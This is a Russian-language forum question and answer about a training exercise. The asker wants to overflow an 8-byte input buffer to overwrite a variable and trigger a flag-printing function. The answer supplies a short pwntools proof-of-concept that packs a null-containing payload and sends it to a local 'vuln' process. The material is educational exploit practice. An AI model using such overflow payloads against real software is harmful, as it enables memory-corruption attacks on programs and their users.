Как я могу отправить необработанные байты в интерактивном режиме для эксплойта переполнения буфера? - PullRequest
0 голосов
/ 31 января 2019

Я пытаюсь, как часть упражнения, использовать простую программу, перезаписывая значение переменной через переполнение буфера.Я почти уверен, что у меня есть идея, лежащая в основе эксплойта, но так как я не могу внедрить свой код, я не могу знать наверняка.

Я попытался создать скрипт, который использует Pwntools, что хорошодля упаковки целых чисел, но мне не удалось заставить его работать.Я также попытался прочитать о TTY и о том, как вы можете манипулировать тем, что терминал отправляет процессу.

Простой псевдокод программы, которую я использую:

returnFlag() {
    print(flag)
}

main() {
    char[8] = input
    id = 999999

    input = fgets()

    if (id = 0) {
        returnFlag()
    }
}

Мой план состоит в том, чтобы переполнить переменную input и перезаписать значение id на 0, чтобы функция returnFlag () былаказнены.Но когда я, например, ввожу «AAAA \ x00 \ x00 \ x00», я получаю тарабарщину только тогда, когда смотрю на память с помощью GDB.

Эта проблема сводила меня с ума в течение последних 1,5 недель и любой помощибудет принята с благодарностью.

1 Ответ

0 голосов
/ 09 февраля 2019

Так что я разобрался, как решить проблему.Надеюсь, это поможет кому-то еще.

Проблема заключалась в том, что я не знал, как отправить «код эксплойта», потому что он состоит из нулей.К счастью, есть полезный инструмент под названием Pwntools link , который поможет вам в этом.

С этим инструментом вы можете взаимодействовать с программой и "упаковывать" целые числа, чтобы вы могли отправлять все типыбайт, включая нуль-байты.

Простой POC, использующий Pwntools для использования вышеупомянутой программы, назовем его vuln, будет выглядеть так:

#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'

pl = fit({0:'1', 8:[0x00000000]})

io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))

Итак, сначала я импортируювсе библиотеки, настройте среду, которую я пытаюсь использовать с context.Тогда я использую fit -функцию.Он упаковывает все мои данные таким образом, чтобы я мог отправить их в программу.Я все еще пытаюсь понять, что fit делает за кулисами.

...